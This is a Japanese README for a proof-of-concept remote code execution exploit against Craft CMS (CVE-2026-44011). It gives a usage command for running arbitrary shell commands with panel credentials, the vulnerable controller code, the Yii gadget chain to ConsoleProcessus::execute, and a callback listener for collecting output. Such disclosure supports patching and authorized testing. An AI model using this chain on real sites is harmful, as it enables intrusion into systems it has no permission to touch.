CVE-2026-44011のPoC: 認証済みユーザーによるCraft CMSのRCE。
許可されたテストでのみ使用してください。
Craft CMS のアドバイザリでは、影響を受けるバージョンとして >=4.0.0, <4.17.12 および >=5.0.0, <5.9.18 が挙げられており、発見者として precicom-vincent-tl がクレジットされています。
python -m pip install -r requirements.txt
python cve-2026-44011.py -b 'https://example.com' -u '<username' -p '<password>' -c '<command>'
必須引数:
-b, --base-url: Craft の URL (http:// または https:// を含む)。-u, --username: コントロールパネルのユーザー名。-p, --password: コントロールパネルのパスワード。-c, --command: 実行し、出力を取得するコマンド。任意引数:
-P, --cp-path: コントロールパネルのパス (デフォルト: /admin)。-s, --site-id: サイト ID (デフォルト: 1)。-e, --element-type: エレメントタイプ (デフォルト: craft\elements\Category)。-f, --csrf-field: ログイン CSRF フィールド名 (デフォルト: CRAFT_CSRF_TOKEN)。-t, --timeout: リクエストおよびコールバックのタイムアウト (秒) (デフォルト: 15)。-F, --force: Craft のバージョンが取得できない、またはアドバイザリの範囲外の場合でも続行する。-H, --callback-host: ターゲットが到達可能なアドレス (デフォルトではローカルアドレスが推測される。ピボット経由の場合は上書きする)。--listen-port: リスナーポート (デフォルト: OS が選択する空きポート。転送する場合は固定ポートを設定する)。脆弱な検索アクションでは、condition が POST ボディからオブジェクト生成へと、サニタイズされずに渡されます。
$conditionConfig = $this->request->getBodyParam('condition');
$condition = Craft::$app->getConditions()->createCondition($conditionConfig);
ElementCondition::setFieldLayouts()は、渡された各配列からレイアウトを構築します。
if (is_array($fieldLayout)) {
$fieldLayout['type'] = $this->elementType;
return $fieldsService->createLayout($fieldLayout);
}
アドバイザリのペイロードは、as キーを伴う Yii の AttributeTypecastBehavior を付加し、on * でイベントを接続します。このビヘイビアは、Yii の callable 型キャストを経由して Psy\Readline\Hoa\ConsoleProcessus::execute に到達します。
condition.fieldLayouts[]
-> FieldLayout behavior + event
-> AttributeTypecastBehavior::typecastValue()
-> call_user_func()
-> ConsoleProcessus::execute()
修正済みのコントローラでは、オブジェクト生成の前に条件に対して Component::cleanseConfig() を適用しています。
ConsoleProcessus::execute()は、デフォルトでシェルのメタ文字をエスケープします。PoC は -c を実行するための一時スクリプトを配信し、内蔵の HTTP リスナーでその出力を受け取り、その後リスナーをシャットダウンします。ターゲットが推測されたアドレスに到達できない場合は -H を使用してください。sh、curl、mktemp が必要です。python -m unittest discover -s tests -v。